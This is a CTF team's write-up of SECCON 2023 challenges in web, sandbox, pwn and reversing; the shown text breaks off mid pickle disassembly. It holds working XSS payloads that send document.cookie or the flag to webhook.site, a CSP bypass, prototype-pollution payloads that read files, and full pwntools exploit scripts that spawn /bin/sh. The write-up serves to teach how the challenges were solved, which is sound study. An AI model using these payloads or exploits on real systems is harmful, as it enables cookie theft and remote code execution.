---
# System prepended metadata

title: SECCON 2023

---

# SECCON 2023

## Web

### Blink

We clobbered the `body` property with a frame (`<iframe name=body>`) and then the `togglePopover` property with an anchor tag `<a id=togglePopver >`. Then `setInterval` will receive our anchor tag as first argument and will do toString on it which will turn it into our payload and then will execute it.

poc:

```html
<script>
window.open(`http://web:3000/#%3Ciframe%20srcdoc=%22%3Ca%20href='tel:/df/;eval(window.name)'%20id=togglePopover%20%3E%3C/a%3E%22%20name=body%3E%3C/iframe%3E`,'fetch("https://webhook.site/f038dd80-dd62-45a4-8928-696a140f8b12?a="+document.cookie);')
</script>
```



### eeejs

This challenge was about being able to inject ejs options and with some mitigations. We tried to get RCE for some time but we failed. To get XSS we used the delimiter properties and a gadget in `render.dist.js`. Also if we set the `delimiter` option to an array with a zero length string then we don't need to adjust it anymore ( but then we can't use <%- or <%= options ).

```javascript
exports.escapeXML = function(markup) {
    return markup == void 0 ? "" : String(markup).replace(_MATCH_HTML, encode_char);
};
```

```html
<script>
if(!window.name){
    window.open(`http://web:3000/?filename=./render.dist.js&settings[view%20options][delimiter][0]=&settings[view%20options][closeDelimiter]=}&settings[view%20options][openDelimiter]=XML%20=%20function(markup)%20{&markup=%3Ca%20href=%22A%22%3E%3C/a%3E&_MATCH_HTML=a&encode_char=iframe%20srcdoc=%27%26lt;script%20src=%22?filename%3d./render.dist.js%26settings[view%20options][delimiter][0]%3d%26settings[view%20options][closeDelimiter]%3d}%26settings[view%20options][openDelimiter]%3dXML%20%3d%20function(markup)%20{%26markup%3da%26_MATCH_HTML%3da%26encode_char%3dtop.document.location%3d\`//webhook.site/xxx?a%3d\`%252bdocument.cookie%22%26gt;%26lt;/script%26gt;%27`,'a')
}
</script>
```
### badjwt

```javascript
const createSignature = (header, payload, secret) => {
  const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
  const signature = algorithms[header.alg.toLowerCase()](data, secret);
  return signature;
};

```
Using the "alg" header of the JWT token, we can create a signature value with any arbitrary algorithm. Since the algorithm variable is JavaScript object, setting the "alg" value to "constructor" executes the Object constructor, allowing us to obtain a consistent signature value for a random key at all times.

Therefore, since the signature value is the base64 encoded form of the header+payload, we can get the flag by creating and sending the token.

```
payload: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjogdHJ1ZX0.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ

FLAG : SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
```

### Simple Calc

We have this CSP **Content-Security-Policy: default-src [http://localhost:3000/js/index.js](http://localhost:3000/js/index.js "http://localhost:3000/js/index.js")  'unsafe-eval';** and easy XSS **http://simplecalc.seccon.games:3000/?expr=alert(23)**

The goal is to send a request to **http://localhost:3000/flag** with **X-Flag** header and admin cookies which is **httponly**, we can't use fetch() or other APIs as connect-src CSP header is missing so it will fallback to default-src.

Removing the CSP header, there is a trick in express which if the any parameter of the request is more than 16,000 characters it will send 431 error without any headers.

Using this trick we will use the XSS to create an iframe pointing to **http://localhost:3000/js/index.js?very=very_long_text** and then `iframe.eval('our_code')` since the iframe doesn't have any CSP.

Final payload:
```js
j=window.open('http://localhost:3000/js/index.js','j'); 
setTimeout(()=>{ j.x=document.createElement('iframe'); 
j.x.src='http://localhost:3000/js/index.js?x='+'a'.repeat(16000); 
j.document.body.appendChild(j.x); },1000);
 setTimeout(()=>{ 
 j.frames[0].eval(`fetch("http://localhost:3000/flag", { headers: { 'X-Flag': 'asdf' }, credentials: "same-origin" }).then(x=>x.text().then(x=>{top.location='https://webhook.site/8313baf6-ac69-4be6-a93d-ef444023551c?x='+x}))`); },2000);
```
The flag is sent to our webhook.

## Sandbox

### deno-pp

The following payload the generates the payload
```javascript
'{"constructor":{"prototype":{"nodeProcessUnhandledRejectionCallback":{"__custom__":true,"type":"Function","args":["console.log(Array.from(Deno.readDirSync(`/`)));"]}}},"A":'+'['.repeat(10000)+']'.repeat(10000)+'}';
```

We found the `nodeProcessUnhandledRejectionCallback` property by using --inspect-brk of deno and tracing how it handles errors. Finding a way to trigger an error was easy with deno ( just need many nested arrays ).

### node-pp

We found that the `prepareStackTrace` property can be used to get RCE by throwing an error. 

To use `prepareStackTrace` we need to trigger an error but we couldn't find any way to trigger an error at first because there was a length limit so we couldn't use the nested array trick.

Then we polluted all words that exist in nodejs source code to see what happens.

```python
#!/usr/bin/env python3
import json
import glob
import os
import re
# Returns a list of name
# q = open('./words.txt')
v = []
files = glob.glob('./src/**',recursive = True)
for f in files:
    if(os.path.isfile(f)):
        try:
            a = open(f,'r')
            g = a.read()
            z = re.findall(r'\b\w+\b',g)
            for wwww in z:
                if(wwww not in v):
                    v.append(wwww)
            a.close()
        except:
            pass
f = open('./out.txt','w')
f.write(json.dumps(v))
# print(v)
f.close()

```

This generates a text file with all the words we need. then we pollluted all of them in nodejs with a function and then we saw that the program triggers an error when we pollute `"1"` with a function. 


```json
{"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["console.log(process.mainModule.require(`fs`).readFileSync(`/flag-c4edc8d813ccfa253d090fa595a4cd91.txt`).toString())"]},"1":{"__custom__":true,"type":"Function","args":["2"]}}}}
```
### crabox


The macros were easy to find. I found the static assertion trick in: https://github.com/rust-lang/rfcs/issues/2790


```python
from pwn import *
import socks
context.proxy = (socks.SOCKS5,'192.168.122.1',8084)
flag = ''
for i in range(100):
    for zz in 'abcdefghijklmnopqrstuvwxyz0123456789_}':
        p = remote('crabox.seccon.games',1337)
        p.sendline(b"""
const _: &() = &[()][1 - (include_bytes!(file!())["""+str(115+i).encode()+b"""]=="""+str(ord(zz)).rjust(3,'0').encode()+b""") as usize];
__EOF__    
        """)

        # /* Steal me: {{FLAG}} */
        p.recvuntil(b':\n')
        # print(i,)
        if(p.recvline() == b':)\n'):
            flag += zz
            print(flag)
            break
        # p.interactive()
        p.close()

    # p.recvuntil(b':    ')
```




## Pwn

### selfcet

The binary allowed overwriting anything in the `ctx_t` obejct (and also behind it). 

```c=
typedef struct {
  char key[KEY_SIZE];
  char buf[KEY_SIZE];
  const char *error;
  int status;
  void (*throw)(int, const char*, ...);
} ctx_t;

void read_member(ctx_t *ctx, off_t offset, size_t size) {
  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
    ctx->status = EXIT_FAILURE;
    ctx->error = "I/O Error";
  }
  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';

  if (ctx->status != 0)
    CFI(ctx->throw)(ctx->status, ctx->error);
}

...
read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));
```

Overwriting status, will trigger `ctx->throw`, but the `CFI` check will only execute it, if the referenced function starts with `endbr64`.

We used this, to first leak libc address by doing a partial overwrite (1 nibble bruteforce) to point `ctx->throw` to `__GI_warn` instead of `err`. This way it will not `exit` after leak.

The second payload was used to call `__libc_start_main` to jump back into main function to have two additional payloads.

Having a libc leak now, we called `gets(bss)` to read `/bin/sh` to `bss` and the second payload to execute `system(bss)` (this was needed, since the status parameter is `int32` and we can only use 32 bit addresses as first argument).

```python=
#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "selfcet.seccon.games"
PORT = 9999
PROCESS = "./xor"


def exploit(r):
    payload1 = "\x00"*0x20              # key
    payload1 += "C"*0x20                # buf
    payload1 += p64(0x404000)           # error
    payload1 += p64(e.got["read"])      # status
    payload1 += p64(0x40d0)[:2]         # throw

    r.send(payload1)

    r.recvuntil("xor: ")
    LEAK = u64(r.recv(6).ljust(8, "\x00"))
    libc.address = LEAK - libc.symbols["read"]

    log.info("LEAK        : %s" % hex(LEAK))
    log.info("LIBC        : %s" % hex(libc.address))

    pause()

    payload1 = "A"*0x20
    payload1 += p64(0x401209)
    payload1 += p64(0x4)
    payload1 += p64(libc.symbols["__libc_start_main"])
    r.send(payload1)

    pause()

    # back in main at first payload
    payload1 = "A"*0x20
    payload1 += "C"*0x20
    payload1 += p64(0x404500)
    payload1 += p64(0x404500)
    payload1 += p64(libc.symbols["gets"])

    r.send(payload1)

    pause()

    r.sendline("/bin/sh\x00")

    log.info("calling main")
    pause()

    payload1 = "A"*0x20
    payload1 += p64(0x401209)
    payload1 += p64(0x404500)
    payload1 += p64(libc.symbols["system"])
    r.send(payload1)

    r.interactive()

    return


if __name__ == "__main__":
    e = ELF("./xor")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./xor", env={"LD_PRELOAD": "./libc.so.6"})
        print(util.proc.pidof(r))
        pause()

    exploit(r)
```

full writeup: https://kileak.github.io/ctf/2023/secconquals23-selfcet/

### Datastore1

`DataStore1` lets us create a hierarchic data structure, which could consist of arrays, strings, ints and floats on different levels.

The bug for this challenge is in the `edit` function

```c=
printf("index: ");
unsigned idx = getint();
if(idx > arr->count)
    return -1;
```

In the boundary check we have an off-by-one, since it checks that `idx` is not bigger than `arr->count` (though it should check for greater or equal). This allows us to update/delete one `data_t` object "behind" the current type, overwriting followup data on the heap.

#### Short version:
- Create multiple arrays, use oob access to overwrite the size of a follow up array with another array ptr to leak heap address
- Create string object behind an array and use oob access to overwrite size of string pointer
- Use the corrupted string pointer to create a big fake chunk on the heap and free it to leak `main_arena` pointer
- Overwrite `strnlen` in `abs.got` of libc to execute `system(/bin/sh)`

```python=
#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "datastore1.seccon.games"
PORT = 4585
PROCESS = "./chall"


def editval(value):
    r.sendline("1")
    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", value)
    r.recvuntil("> ")


def editarr(size):
    r.sendline("1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")


def createsubarr(idx, size):
    r.sendline("1")
    r.sendlineafter("index: ", str(idx))
    r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")


def createarray(parent_indexes, size):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", str(size))
    r.recvuntil("> ")


def updatevalue(parent_indexes, value):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", value)
    r.recvuntil("> ")


def updatestring(parent_indexes, value):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("bytes): ", value)
    r.recvuntil("> ")


def delete(parent_indexes, del_idx):
    r.sendline("1")

    for idx in parent_indexes:
        r.sendlineafter("index: ", str(idx))
        r.sendlineafter("> ", "1")

    r.sendlineafter("index: ", str(del_idx))
    r.sendlineafter("> ", "2")
    r.recvuntil("> ")


def exploit(r):
    r.recvuntil("> ")

    log.info("Create initial array")
    r.sendline("1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", "1")
    r.recvuntil("> ")

    log.info("Create sub arrays")
    createarray([0], 4)
    createarray([0, 0], 4)
    createarray([0, 1], 4)
    createarray([0, 2], 4)
    createarray([0, 3], 4)

    log.info("Overwrite array size with another array")
    delete([0, 1], 4)
    createarray([0, 1, 4], 10)

    log.info("Leak heap address from array size")
    r.sendline("1")
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "1")
    r.recvuntil("[02] <ARRAY(")
    LEAK = int(r.recvuntil(")", drop=True))
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("> ", "v")
    r.sendlineafter(": ", str(100))
    r.recvuntil("> ")

    HEAPBASE = LEAK - 0x470

    log.info("HEAP leak     : %s" % hex(LEAK))
    log.info("HEAP base     : %s" % hex(HEAPBASE))

    log.info("Create strings on heap")
    updatevalue([0, 1, 1], "A"*8)
    updatevalue([0, 1, 2], "A"*8)
    updatevalue([0, 1, 3], "A"*8)

    # fill heap
    log.info("Fillup heap")
    createarray([0, 3, 0], 10)
    createarray([0, 3, 1], 10)
    createarray([0, 3, 2], 10)
    createarray([0, 3, 3], 10)
    createarray([0, 3, 0, 0], 10)
    createarray([0, 3, 0, 1], 10)
    createarray([0, 3, 0, 2], 10)

    # delete 10th element of 0/1/4 to avoid unknown datatype
    delete([0, 1, 4], 10)

    # overwrite string length
    updatevalue([0, 1, 4, 10], "1000")

    log.info("Corrupting string pointer")
    payload = p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x680)
    payload += p64(0x0000000000000000)+p64(0x0000000000000561)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)

    updatestring([0, 1, 1], payload)
    delete([0, 1], 3)

    log.info("Update string pointer again")
    payload = p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x690)

    updatestring([0, 1, 1], payload)

    log.info("Get libc leak")
    r.sendline("1")
    r.sendlineafter("index: ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter("index: ", "1")
    r.sendlineafter("> ", "1")

    r.recvuntil("[02] <S> ")
    LIBCLEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "2")
    r.recvuntil("> ")

    log.info("LIBC leak     : %s" % hex(LIBCLEAK))
    libc.address = LIBCLEAK - 0x219ce0
    log.info("LIBC          : %s" % hex(libc.address))

    payload = "/bin/sh\x00"+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x4141414141414141)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000051)
    payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000000)
    payload += p64(0x0000000000000000)+p64(0x0000000000000021)
    payload += p64(0x00000000000003e8)+p64(libc.address + 0x219018)

    updatestring([0, 1, 1], payload)
    updatestring([0, 1, 2], p64(libc.symbols["system"]))

    # trigger shell
    r.sendline("1")
    r.sendlineafter(": ", "0")
    r.sendlineafter("> ", "1")
    r.sendlineafter(": ", "1")
    r.sendlineafter("> ", "1")
    r.interactive()

    return


if __name__ == "__main__":
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./chall", env={"LD_PRELOAD": "./libc.so.6"})
        print(util.proc.pidof(r))
        pause()

    exploit(r)
```

Full writeup: https://kileak.github.io/ctf/2023/secconquals23-datastore1/

### rop-2.35

When the `gets` returns, `rdi` has fixed address in libc.

So, overwrite the `gets@plt` at the return address and `system@plt` next address on stack, we could execute like below.

```
gets(rdi -> libc's data);
system(rdi -> libc's data same as above)
```

But, the buffer was a member of file structure. some byte was decreased after `gets` returns.

```python=
from pwn import *

e = ELF('./chall')
# p = e.process()
p = remote('rop-2-35.seccon.games', 9999)

pay = b'A' * 0x18
pay += p64(e.plt['gets']) + p64(e.plt['system'])

p.sendline(pay)
pause()
p.sendline(b'/bin0bash\x00\x00\x00\x00')

p.interactive()
```

## Rev

### Jumpout

This challenge at hand is that the decompilation in IDA is not working properly due to instructions like 'jmp rax' and similar.
However, there is no significant problem when it comes to actual debugging.
Therefore, through debugging, it can be obseved that the code involves XOR operations with 0x55, a secret key, and sequentially increasing index values. These operations are performed and compared with stored encrypted values.

```python=
data = [0xF6, 0xF5, 0x31, 0xC8, 0x81, 0x15, 0x14, 0x68, 0xF6, 0x35, 0xE5, 0x3E, 0x82, 0x09, 0xCA, 0xF1,
0x8A, 0xA9, 0xDF, 0xDF, 0x33, 0x2A, 0x6D, 0x81, 0xF5, 0xA6, 0x85, 0xDF, 0x17]
data2 = [0xF0, 0xE4, 0x25, 0xDD, 0x9F, 0x0B, 0x3C, 0x50, 0xDE, 0x04, 0xCA, 0x3F, 0xAF, 0x30, 0xF3, 0xC7,
0xAA, 0xB2, 0xFD, 0xEF, 0x17, 0x18, 0x57, 0xB4, 0xD0, 0x8F, 0xB8, 0xF4, 0x23]

c = ''
for i, v in enumerate(data):
    c += chr(v ^ 0x55 ^ data2[i] ^ i)
print(c)
```

### Optinimize

This challenge pertains to a challenge written in the Nim Language. When searching for Nim language, you can easily find sample programming code examples utilizing it.
The link is as follows:
https://github.com/nim-lang/bigints/blob/master/examples/rc_combperm.nim

Looking at the title of the challenge, one can infer that it is related to optimization, and upon running the program, it becomes evident that a portion of the flag is missing from the output.
It is highly likely that the code consists of numerous loops with a very high level of the Time Complexity.

![](https://hackmd.io/_uploads/r1omHAUkT.png)

What can be observed through debugging is that the structure of the BigInt object consists of an arbitrary flag value and a memory pointer to the actual content the object aims to store.
The integer information to be stored is present in the content.

If we were to create pseudocode with arbitrary code, it would look like the following:

![](https://hackmd.io/_uploads/SJVCrAU1a.png)

![](https://hackmd.io/_uploads/BJUMU0IJp.png)

![](https://hackmd.io/_uploads/rJuP8C81T.png)

What can be inferred from the provided pseudocode is that the value being computed internally for XOR purposes is derived from the Perrin sequence. To obtain Perrin sequence values, the following service was used:
https://oeis.org/A013998/list

Furthermore, by utilizing the Perrin sequence, you can create the following code to retrieve the flag.

```python=
#!sage --python
from sage.all import *

P = Primes()

bb = [271441,904631,16532714,24658561,27422714,27664033,46672291,102690901,130944133,196075949,214038533,517697641,545670533,801123451,855073301,903136901,970355431,1091327579,1133818561,1235188597,1389675541,1502682721,2059739221,2304156469,2976407809,3273820903]
kk = [74, 85, 111, 121, 128, 149, 174, 191, 199, 213, 774, 6856, 9402, 15616, 17153, 22054, 27353, 28931, 36891, 40451, 1990582, 2553700, 3194270, 4224632, 5969723, 7332785, 7925541, 8752735, 10012217, 11365110, 17301654, 26085581, 29057287, 32837617, 39609127, 44659126, 47613075, 56815808, 58232493, 63613165]
aa = [60, 244, 26, 208, 138, 23, 124, 76, 223, 33, 223, 176, 18, 184, 78, 250, 217, 45, 102, 250, 212, 149, 240, 102, 109, 206, 105, 0, 125, 149, 234, 217, 10, 235, 39, 99, 117, 17, 55, 212]

t = []
for i in kk:
    x = P.unrank(i - 2)
    c = 0
    for j in bb:
        if j >= x: break
        c += 1
    x = P.unrank(i - c - 2)
    t.append(x)

print(bytes(aa[i]^t[i]&0xff for i in range(len(kk))))
```

### Perfect Blu

We are provided with an ISO image of a Blu-Ray disc. After initial inspection, we successfully run it inside the VLC and being presented with a menu for checking of the flag:

![](https://hackmd.io/_uploads/Hk6-TEPJp.png)

After lots of Google-ing and lots of different tries to find the menu's logic, we managed to find it by using the tool [BDedit](https://bdedit.pel.hu/). There is a state machine connecting the different menu presses from one button to another.

![](https://hackmd.io/_uploads/Byp264vyp.png)


In short, there is a state logic (visible within BDedit's `CLIPINF`/`Menu` tabs), connecting all those pressed (menu) buttons in sequential manner. At the end, we managed to find the valid sequency (i.e. flag) `SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}`

### Sickle

The pickle has a jump-like something what implemented by `io.seek`.

So, we patched the pickle to dump using `pickletools` and some parts of `pickletools`.

Below is extracted pickle
```
    0: \x8c SHORT_BINUNICODE 'builtins'
   10: \x8c SHORT_BINUNICODE 'getattr'
   19: \x93 STACK_GLOBAL
   20: \x94 MEMOIZE    (as 0)
   21: 2    DUP
   22: \x8c SHORT_BINUNICODE 'builtins'
   32: \x8c SHORT_BINUNICODE 'input'
   39: \x93 STACK_GLOBAL
   40: \x8c SHORT_BINUNICODE 'FLAG> '
   48: \x85 TUPLE1
   49: R    REDUCE
   50: \x8c SHORT_BINUNICODE 'encode'
   58: \x86 TUPLE2
   59: R    REDUCE
   60: )    EMPTY_TUPLE
   61: R    REDUCE
   62: \x94 MEMOIZE    (as 1)
   63: 0    POP
   64: g    GET        0
   67: \x8c SHORT_BINUNICODE 'builtins'
   77: \x8c SHORT_BINUNICODE 'dict'
   83: \x93 STACK_GLOBAL
   84: \x8c SHORT_BINUNICODE 'get'
   89: \x86 TUPLE2
   90: R    REDUCE
   91: \x8c SHORT_BINUNICODE 'builtins'
  101: \x8c SHORT_BINUNICODE 'globals'
  110: \x93 STACK_GLOBAL
  111: )    EMPTY_TUPLE
  112: R    REDUCE
  113: \x8c SHORT_BINUNICODE 'f'
  116: \x86 TUPLE2
  117: R    REDUCE
  118: \x8c SHORT_BINUNICODE 'seek'
  124: \x86 TUPLE2
  125: R    REDUCE
  126: \x94 MEMOIZE    (as 2)
  127: g    GET        0
  130: \x8c SHORT_BINUNICODE 'builtins'
  140: \x8c SHORT_BINUNICODE 'int'
  145: \x93 STACK_GLOBAL
  146: \x8c SHORT_BINUNICODE '__add__'
  155: \x86 TUPLE2
  156: R    REDUCE
  157: \x94 MEMOIZE    (as 3)
  158: 0    POP
  159: g    GET        0
  162: \x8c SHORT_BINUNICODE 'builtins'
  172: \x8c SHORT_BINUNICODE 'int'
  177: \x93 STACK_GLOBAL
  178: \x8c SHORT_BINUNICODE '__mul__'
  187: \x86 TUPLE2
  188: R    REDUCE
  189: \x94 MEMOIZE    (as 4)
  190: 0    POP
  191: g    GET        0
  194: \x8c SHORT_BINUNICODE 'builtins'
  204: \x8c SHORT_BINUNICODE 'int'
  209: \x93 STACK_GLOBAL
  210: \x8c SHORT_BINUNICODE '__eq__'
  218: \x86 TUPLE2
  219: R    REDUCE
  220: \x94 MEMOIZE    (as 5)
  221: 0    POP
  222: g    GET        3
  225: g    GET        5
  228: \x8c SHORT_BINUNICODE 'builtins'
  238: \x8c SHORT_BINUNICODE 'len'
  243: \x93 STACK_GLOBAL
  244: g    GET        1
  247: \x85 TUPLE1
  248: R    REDUCE
  249: M    BININT2    64
  252: \x86 TUPLE2
  253: R    REDUCE
  254: M    BININT2    261
  257: \x86 TUPLE2
  258: R    REDUCE
  259: \x85 TUPLE1
  260: R    REDUCE
  261: 0    POP
  262: g    GET        0
  265: g    GET        1
  268: \x8c SHORT_BINUNICODE '__getitem__'
  281: \x86 TUPLE2
  282: R    REDUCE
  283: \x94 MEMOIZE    (as 6)
  284: 0    POP
  285: M    BININT2    0
  288: \x94 MEMOIZE    (as 7)
  289: 0    POP
  290: g    GET        2
  293: g    GET        3
  296: g    GET        0
  299: g    GET        6
  302: g    GET        7
  305: \x85 TUPLE1
  306: R    REDUCE
  307: \x8c SHORT_BINUNICODE '__le__'
  315: \x86 TUPLE2
  316: R    REDUCE
  317: M    BININT2    127
  320: \x85 TUPLE1
  321: R    REDUCE
  322: M    BININT2    330
  325: \x86 TUPLE2
  326: R    REDUCE
  327: \x85 TUPLE1
  328: R    REDUCE
  329: g    GET        2
  332: g    GET        3
  335: g    GET        4
  338: g    GET        5
  341: g    GET        3
  344: g    GET        7
  347: M    BININT2    1
  350: \x86 TUPLE2
  351: R    REDUCE
  352: p    PUT        7
  355: M    BININT2    64
  358: \x86 TUPLE2
  359: R    REDUCE
  360: M    BININT2    85
  363: \x86 TUPLE2
  364: R    REDUCE
  365: M    BININT2    290
  368: \x86 TUPLE2
  369: R    REDUCE
  370: \x85 TUPLE1
  371: R    REDUCE
  372: 0    POP
  373: g    GET        0
  376: g    GET        0
  379: ]    EMPTY_LIST
  380: \x94 MEMOIZE    (as 8)
  381: \x8c SHORT_BINUNICODE 'append'
  389: \x86 TUPLE2
  390: R    REDUCE
  391: \x94 MEMOIZE    (as 9)
  392: 0    POP
  393: g    GET        8
  396: \x8c SHORT_BINUNICODE '__getitem__'
  409: \x86 TUPLE2
  410: R    REDUCE
  411: \x94 MEMOIZE    (as 10)
  412: 0    POP
  413: g    GET        0
  416: \x8c SHORT_BINUNICODE 'builtins'
  426: \x8c SHORT_BINUNICODE 'int'
  431: \x93 STACK_GLOBAL
  432: \x8c SHORT_BINUNICODE 'from_bytes'
  444: \x86 TUPLE2
  445: R    REDUCE
  446: \x94 MEMOIZE    (as 11)
  447: 0    POP
  448: M    BININT2    0
  451: p    PUT        7
  454: 0    POP
  455: g    GET        9
  458: g    GET        11
  462: g    GET        6
  465: \x8c SHORT_BINUNICODE 'builtins'
  475: \x8c SHORT_BINUNICODE 'slice'
  482: \x93 STACK_GLOBAL
  483: g    GET        4
  486: g    GET        7
  489: M    BININT2    8
  492: \x86 TUPLE2
  493: R    REDUCE
  494: g    GET        4
  497: g    GET        3
  500: g    GET        7
  503: M    BININT2    1
  506: \x86 TUPLE2
  507: R    REDUCE
  508: M    BININT2    8
  511: \x86 TUPLE2
  512: R    REDUCE
  513: \x86 TUPLE2
  514: R    REDUCE
  515: \x85 TUPLE1
  516: R    REDUCE
  517: \x8c SHORT_BINUNICODE 'little'
  525: \x86 TUPLE2
  526: R    REDUCE
  527: \x85 TUPLE1
  528: R    REDUCE
  529: 0    POP
  530: g    GET        2
  533: g    GET        3
  536: g    GET        4
  539: g    GET        5
  542: g    GET        3
  545: g    GET        7
  548: M    BININT2    1
  551: \x86 TUPLE2
  552: R    REDUCE
  553: p    PUT        7
  556: M    BININT2    8
  559: \x86 TUPLE2
  560: R    REDUCE
  561: M    BININT2    119
  564: \x86 TUPLE2
  565: R    REDUCE
  566: M    BININT2    457
  569: \x86 TUPLE2
  570: R    REDUCE
  571: \x85 TUPLE1
  572: R    REDUCE
  573: 0    POP
  574: g    GET        0
  577: ]    EMPTY_LIST
  578: \x94 MEMOIZE    (as 12)
  579: \x8c SHORT_BINUNICODE 'append'
  587: \x86 TUPLE2
  588: R    REDUCE
  589: \x94 MEMOIZE    (as 13)
  590: 0    POP
  591: g    GET        0
  594: g    GET        12
  598: \x8c SHORT_BINUNICODE '__getitem__'
  611: \x86 TUPLE2
  612: R    REDUCE
  613: \x94 MEMOIZE    (as 14)
  614: 0    POP
  615: g    GET        0
  618: \x8c SHORT_BINUNICODE 'builtins'
  628: \x8c SHORT_BINUNICODE 'int'
  633: \x93 STACK_GLOBAL
  634: \x8c SHORT_BINUNICODE '__xor__'
  643: \x86 TUPLE2
  644: R    REDUCE
  645: \x94 MEMOIZE    (as 15)
  646: 0    POP
  647: I    INT        1244422970072434993
  668: \x94 MEMOIZE    (as 16)
  669: 0    POP
  670: M    BININT2    0
  673: p    PUT        7
  676: 0    POP
  677: g    GET        13
  681: \x8c SHORT_BINUNICODE 'builtins'
  691: \x8c SHORT_BINUNICODE 'pow'
  696: \x93 STACK_GLOBAL
  697: g    GET        15
  701: g    GET        10
  705: g    GET        7
  708: \x85 TUPLE1
  709: R    REDUCE
  710: g    GET        16
  714: \x86 TUPLE2
  715: R    REDUCE
  716: I    INT        65537
  723: I    INT        18446744073709551557
  745: \x87 TUPLE3
  746: R    REDUCE
  747: \x85 TUPLE1
  748: R    REDUCE
  749: 0    POP
  750: g    GET        14
  754: g    GET        7
  757: \x85 TUPLE1
  758: R    REDUCE
  759: p    PUT        16
  763: 0    POP
  764: g    GET        2
  767: g    GET        3
  770: g    GET        4
  773: g    GET        5
  776: g    GET        3
  779: g    GET        7
  782: M    BININT2    1
  785: \x86 TUPLE2
  786: R    REDUCE
  787: p    PUT        7
  790: M    BININT2    8
  793: \x86 TUPLE2
  794: R    REDUCE
  795: M    BININT2    131
  798: \x86 TUPLE2
  799: R    REDUCE
  800: M    BININT2    679
  803: \x86 TUPLE2
  804: R    REDUCE
  805: \x85 TUPLE1
  806: R    REDUCE
  807: 0    POP
  808: g    GET        0
  811: g    GET        12
  815: \x8c SHORT_BINUNICODE '__eq__'
  823: \x86 TUPLE2
